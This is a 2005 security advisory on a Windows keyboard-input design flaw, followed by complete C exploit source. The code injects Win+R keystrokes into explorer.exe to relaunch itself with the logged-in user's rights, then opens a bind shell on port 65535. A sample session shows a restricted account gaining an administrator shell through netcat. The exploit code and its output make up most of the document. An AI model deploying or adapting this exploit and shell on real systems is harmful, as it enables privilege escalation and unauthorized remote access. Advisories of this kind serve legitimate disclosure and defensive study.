Vulnerability: Microsoft Windows keybd_event validation vulnerability.
Type:......... Design Flaw
Vendor:....... Microsoft
Impact:....... Local Privilege Elevation.
Credits:...... Andrés Tarascó ( aT4r @ Haxorcitos.com )
        .......Iñaki Lopez    ( ilo  @ reversing.org  )




Description:
____________

As is Known, with the current Microsoft Security Model, applications that share the destkop 
are able to send messages between them.
Every Desktop application is able to obtain the handle of every process executed in the same desktop.

This feature and the possibility of any application to emulate a virtual keyboard by sending key strokes, 
allows every process to send messages and keys as if there were an interactive user.


Attack Scenario:
____________________


There area at least two known scenerarios that will allow this attack to succeed.

- Runas  Service allow application execution as if it were launched by another user. In some cases, a 
user could execute an untrusted application (like malware)  with restricted rights by downgrading 
privileges and executing a shell where that suspicious application will be executed and tested. This 
application shares the same desktop as all the user applications.

- Every running service with the flag INTERACT_WITH_DESKTOP will be able to access user Desktop.


attack:
_______


If an attacker is able to gain access to an application executed in any of those ways (direct malware 
execution or exploiting a security flaw in that software) by using Windows apis (keybd_event or SendKeys) 
he will be able to send keystrokes that will be handled by explorer.exe allowing it to execute arbitrary 
code with logged user rights. This attack will allow to bypass security restrictions offered by the runas 
Service  and elevate privileges.


Vendor Response:
________________________


After talking with MSRC (Microsoft Security Response Center) Microsoft have identified this vulnerability as 
a design flaw, where the desktop is the security limit, so there is currently no solution because some
automatic tools and virtual keyboard included in Windows XP would not work if this feature did not exist.


Solution:
____________


- Only allow trusted applications to be run as a service with access to the desktop.
- Do not use runas Service in production enviroments.


Exploit:
_________

Exploit code attached:


/*
 * Microsoft Windows keybd_event validation vulnerability.
 *          Local privilege elevation
 *
 * Credits:    Andres Tarasco ( aT4r _@_ haxorcitos.com )
 *             Iñaki Lopez    ( ilo _@_ reversing.org )
 *
 * Platforms afected/tested:
 *
 *     - Windows 2000
 *     - Windows XP
 *     - Windows 2003
 *
 *
 * Original Advisory: http://www.haxorcitos.com
 *                    http://www.reversing.org  
 *
 * Exploit Date: 08 / 06 / 2005
 *
 * Orignal Advisory:
 * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
 * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
 * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
 *
 * Attack Scenario:
 *
 * a) An attacker who gains access to an unprivileged shell/application executed
 * with the application runas.
 * b) An attacker who gains access to a service with flags INTERACT_WITH_DESKTOP
 *
 * Impact:
 *
 * Due to an invalid keyboard input validation, its possible to send keys to any
 * application of the Desktop.
 * By sending some short-cut keys its possible to execute code and elevate privileges
 * getting loggued user privileges and bypass runas/service security restriction.
 *
 * Exploit usage:
 *
 * C:\>whoami
 * AQUARIUS\Administrador
 *
 * C:\>runas /user:restricted cmd.exe
 * Enter the password for restricted:
 * Attempting to start cmd.exe as user "AQUARIUS\restricted" ...
 *
 *
 * Microsoft Windows 2000 [Versión 5.00.2195]
 * (C) Copyright 1985-2000 Microsoft Corp.
 *
 * C:\WINNT\system32>cd \
 *
 * C:\>whoami
 * AQUARIUS\restricted
 *
 * C:\>tlist.exe |find "explorer.exe"
 * 1140 explorer.exe      Program Manager
 *
 * C:\>c:\keybd.exe 1140
 * HANDLE Found. Attacking =)
 *
 * C:\>nc localhost 65535
 * Microsoft Windows 2000 [Versión 5.00.2195]
 * (C) Copyright 1985-2000 Microsoft Corp.
 *
 * C:\>whoami
 * whoami
 * AQUARIUS\Administrador
 *
 *
 * DONE =)
 *
 */

#include <stdio.h>
#include <string.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")

#define HAXORCITOS 65535
unsigned int pid = 0;
char buf[256]="";

/**************************************************************/
void ExplorerExecution (HWND hwnd, LPARAM lParam){
DWORD hwndid;
    int i;


GetWindowThreadProcessId(hwnd,&hwndid);

if (hwndid == pid){
    /*
      Replace keybd_event with SendMessage() and PostMessage() calls 
    */
        printf("HANDLE Found. Attacking =)\n");
        SetForegroundWindow(hwnd);
        keybd_event(VK_LWIN,1,0,0);
        keybd_event(VkKeyScan('r'),1,0,0);
        keybd_event(VK_LWIN,1,KEYEVENTF_KEYUP,0);
        keybd_event(VkKeyScan('r'),1,KEYEVENTF_KEYUP,0);
        for(i=0;i<strlen(buf);i++) {
            if (buf[i]==':') {
                keybd_event(VK_SHIFT,1,0,0);
                keybd_event(VkKeyScan(buf[i]),1,0,0);
                keybd_event(VK_SHIFT,1,KEYEVENTF_KEYUP,0);
                keybd_event(VkKeyScan(buf[i]),1,KEYEVENTF_KEYUP,0);
            } else {
                if (buf[i]=='\\') {
                    keybd_event(VK_LMENU,1,0,0);
                    keybd_event(VK_CONTROL,1,0,0);
                    keybd_event(VkKeyScan('º'),1,0,0);
                    keybd_event(VK_LMENU,1,KEYEVENTF_KEYUP,0);
                    keybd_event(VK_CONTROL,1,KEYEVENTF_KEYUP,0);
                    keybd_event(VkKeyScan('º'),1,KEYEVENTF_KEYUP,0);
                } else {
                    keybd_event(VkKeyScan(buf[i]),1,0,0);
                    keybd_event(VkKeyScan(buf[i]),1,KEYEVENTF_KEYUP,0);
                }
            }
        }
        keybd_event(VK_RETURN,1,0,0);
        keybd_event(VK_RETURN,1,KEYEVENTF_KEYUP,0);
        exit(1);
    }
}
/**************************************************************/

int BindShell(void) { //Bind Shell. POrt 65535

SOCKETs,s2;
STARTUPINFOsi;
    PROCESS_INFORMATION pi;
WSADATAHWSAdata;
structsockaddr_in sa;
intlen;

if (WSAStartup(MAKEWORD(2,2), &HWSAdata) != 0) { exit(1); }
if ((s=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0))==INVALID_SOCKET){ exit(1); }

    sa.sin_family= AF_INET;
    sa.sin_port= (USHORT)htons(HAXORCITOS);
    sa.sin_addr.s_addr= htonl(INADDR_ANY);
    len=sizeof(sa);
    if ( bind(s, (struct sockaddr *) &sa, sizeof(sa)) == SOCKET_ERROR ) { return(-1); }
    if ( listen(s, 1) == SOCKET_ERROR ) { return(-1); }
    s2 = accept(s,(struct sockaddr *)&sa,&len);
    closesocket(s);

ZeroMemory( &si, sizeof(si) );  ZeroMemory( &pi, sizeof(pi) );
si.cb= sizeof(si);
si.wShowWindow  = SW_HIDE;
    si.dwFlags=STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    si.hStdInput= (void *) s2; // SOCKET
    si.hStdOutput= (void *) s2;
    si.hStdError= (void *) s2;
    if (!CreateProcess( NULL ,"cmd.exe",NULL, NULL,TRUE, 0,NULL,NULL,&si,&pi)) {
        doFormatMessage(GetLastError());
        return(-1);
    }

    WaitForSingleObject( pi.hProcess, INFINITE );
closesocket(s);
closesocket(s2);
    printf("SALIMOS...\n");
    Sleep(5000);
    return(1);


}
/**************************************************************/
void main(int argc, char* argv[])
{
    HWND console_wnd = NULL;
    
if (argc >= 2) {
        pid = atoi (argv[1]);
        strncpy(buf,argv[0],sizeof(buf)-1);
    EnumWindows((WNDENUMPROC)ExplorerExecution,(long)(&console_wnd));
    } else {
        BindShell();
    }
}
/**************************************************************/